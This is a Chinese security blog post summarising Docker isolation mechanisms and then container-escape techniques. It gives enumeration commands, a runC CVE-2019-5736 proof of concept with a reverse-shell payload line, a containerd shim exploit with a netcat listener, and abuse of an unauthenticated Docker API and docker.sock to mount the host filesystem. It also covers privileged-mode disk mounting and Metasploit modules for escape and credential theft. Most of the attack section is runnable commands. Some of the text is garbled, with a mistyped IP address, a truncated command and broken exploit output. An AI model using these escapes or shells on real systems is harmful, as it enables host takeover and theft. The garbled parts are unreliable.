docker下安全问题总结
作者:DDBG 编辑:白帽子社区运营团队
"白帽子社区端午特别活动“白帽寻宝记”明天(06月12日09:00)就开始啦!!!靶场已经开放活动板块可以进行签到,抽奖请点👉这里👈跳转,BMZCTF靶场地址:www.bmzclub.cn
"
Namespace
每次启动一个容器的时候,都会单独的给予这个容器一个单独的命令空间, 因此容器中运行的程序/进程是不会影响到另一个容器的;每个容器的网络 也是相互独立的,有需要的话可以通过物理机来实现连通
Namespace让每个容器都变得独立,互不干扰
Control Group
Control Group组件用来规划容器对物理资源(cpu、内存、磁盘等)的使 用,防止容器过多的占用资源,影响其他容器或者是物理机的正常运转
Control Group可以有效的防止DOS
Capabilities
Capabilities将 root/非root 分为更细的权限控制,所有需要root权限来执行 的命令,都可以利用 Capabilities 来代替,例如一个 Web 服务进程只需要绑 定一个低于 1024 的端口的权限,并不需要 root 权限。那么它只需要被授权 net_bind_service Capabilities 就行了。
利用 Capabilities 可以避免进程获取 root 权限,即使攻击者能够获取到容器 的root权限,也不能获得宿主机的较高权限。默认情况下,Docker采用 白 名单 机制,禁用必需功能之外的其它权限。当然,用户也可以根据自身需 求来为 Docker 容器启用额外的权限。
AppArmor
可以理解为是一个访问控制,AppArmor 将访问控制细化绑定到程序。定义 了应用程序可以访问哪些系统资源以及具有哪些权限。例如:可以允许程序 进行网络访问,原始套接字访问或者读取写入与路径规则匹配的文件。如果 配置文件没有声明,则默认情况下禁止进程对资源的访问。
默认情况下,Docker 会为容器自动生成并加载默认的 AppArmor 配置文 件。
Seccomp
一般情况下,系统进程都会暴露给用户。Seccomp可以过滤一些不必要的系 统调用,减少了内核暴露给用户态进程的接口数量
默认会启用 Seccomp 保护,默认的白名单规则仅保留了 Linux 中比较常见 并且安全的系统调用。防止从内核层面发起的进攻
容器逃逸:攻击者通过攻击控制了一个容器,能在容器中以某个角色权限执行命 令。然后再进一步的获取到容器所在的直接宿主机(在“物理机运行虚拟机,虚拟 机再运行容器”的场景中,直接宿主机指容器外层的虚拟机)
根目录下是否存在 .dockerenv 文件
ls -al .dockerenv
/proc/1/cgroup是否存在docker字符串
cat /proc/1/cgroup | grep docker
运行的系统进程数
s aux
缺少系统命令
ping、sudo、ifconfig、ssh、vi、gcc
find命令查看文件系统存在的差别
find / -name docker
环境变量的不同
env
文件系统的不同
df -h
查看Docker版本
docker --version
当前环境哪些用户?
cat /etc/passwd
容器操作系统?
cat /etc/os-release
宿主机内核版本?
uname -a
容器内进程具有哪些权限(Docker上执行,获得权限值)
grep CapEff /proc/self/status
容器挂载了哪些卷?
cat /proc/mounts
哪些用户可以使用docker?
grep docker /etc/group
当前宿主机可用镜像?
docker images -a
当前运行哪些容器?
docker ps -a
宿主机内核漏洞
Docker自身漏洞
漏洞描述:Docker 18.09.2之前的版本中使用了的 runC 版本小于1.0- rc6,因此允许攻击者重写宿主机上的runc 二进制文件,攻击者可以 在宿主机上以root身份执行命令。(通过 docker 和docker-runc 查看 当前版本情况)
影响版本:
docker version <=18.09.2、RunC version <=1.0-rc6
利用条件:攻击者可控 image,进一步控制生成的container、攻击者 具有某已存在容器的写权限,且可通过docker exec进入
漏洞利用:
https://github.com/Frichetten/CVE-2019-5736-PoC
var payload = "#!/bin/bash \n bash -i >& /dev/tcp/127.0.0.1/8888 0>& 1"
CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go
root@root:/tmp# ./main
[+] Overwritten /bin/sh successfully
test@test:~$ sudo docker exec -it d1 /bin/bash
root@root:/tmp
[ ] Overwritten /bin/sh successfully
[16 ] Found the PID:
[ ] Successfully got the file handle
[0xc8201231e0} ] Successfully got write handle &{
通过宿主机docker cp容器文件导致任意命令执行的漏洞
影响版本:
docker 19.03.0(包含几个beta版),19.03.1以上以及18.09以下都不受影响
漏洞利用
https://xz.aliyun.com/t/6806
修复建议:升级到最新版本或者是打补丁。
漏洞描述:containerd是行业标准的容器运行时,可作为Linux和 Windows的守护程序使用。在版本1.3.9和1.4.3之前的容器中,容器填 充的API不正确地暴露给主机网络容器。填充程序的API套接字的访问 控制验证了连接过程的有效UID为0,但没有以其他方式限制对抽象 Unix域套接字的访问。这将允许在与填充程序相同的网络名称空间中运行的恶意容器(有效UID为0,但特权降低)导致新进程以提升的特 权运行。
影响版本:
containerd < 1.4.3、containerd < 1.3.9
漏洞利用:
https://github.com/Xyntax/CDK/releases/tag/0.1.6
./cdk_linux_386 run shim-pwn 127.0.0.1 8888
nc -lvp 8888
漏洞描述:该漏洞源于libcontainer/rootfs_linux.go文件没有正确检 查挂载目标。攻击者可利用该漏洞绕过AppArmor限制。
影响版本:
runc1.0.0-rc8及之前版本
漏洞利用:
https://mp.weixin.qq.com/s/snd1mrEeFheEPB_wrPv8XA
Docker的错误配置&设计缺陷
Docker 未授权访问
http://217.0.0.1:2375/version
(ps、/images/json、/containers/json)
docker -H tcp://xx.xx.xx.xx:2375 images
docker -H tcp://xx.xx.xx.xx:2375 run -it -v /:/mnt docker_ID/bin/sh
Docker.sock
find / -name docker.sock
docker -H unix:///var/run/docker.sock info
docker -H unix:///var/run/docker.sock run -it -v /:/test ubuntu/bin/bash
privileged(特权模式)
cat /proc/self/status | grep CapEff
0000003fffffffff
mkdir /test
mount /dev/sda1 /abc
ls /abc
echo 123 > /test/home/botasky/escape2
Shocker 攻击
https://github.com/gabrtv/shocker
docker run gabrtv/shocker
查看Docker服务器版本(VERBOSE参数为true获得更多信息)
auxiliary/scanner/http/docker_version
检测目标环境是否为容器。
post/linux/gather/checkcontainer
检测目标环境中各种漏洞缓解机制是否开启
post/linux/gather/enum_protections
对Docker的守护进程实现root权限远程代码执行
exploit/linux/http/docker_daemon_tcp
Docker容器内的提权
exploit/linux/local/docker_daemon_privilege_escalation
读取.docker/config.json文件
post/multi/gather/docker_creds
其他模块,因为适用范围或者限制问题,建议参考模块的文档
auxiliary/gather/saltstack_salt_root_key
exploit/linux/misc/saltstack_salt_unauth_rce
exploit/windows/local/docker_credential_wincred
exploit/linux/http/rancher_server
exploit/linux/http/dcos_marathon
参考文章
https://forum.90sec.com/t/topic/1338
https://chen1sheng.github.io/2021/01/10/%E6%B8%97%E9%80%8F/linux/docker%E9%80%83%E9%80%B8/
https://wohin.me/yun-yuan-sheng-huan-jing-shen-tou-xiang-guan-gong-ju-kao-cha/#1-
https://tech.meituan.com/2020/03/12/cloud-native-security.html
https://mp.weixin.qq.com/s/d9D3z13uCOJoJzplpu3WJQ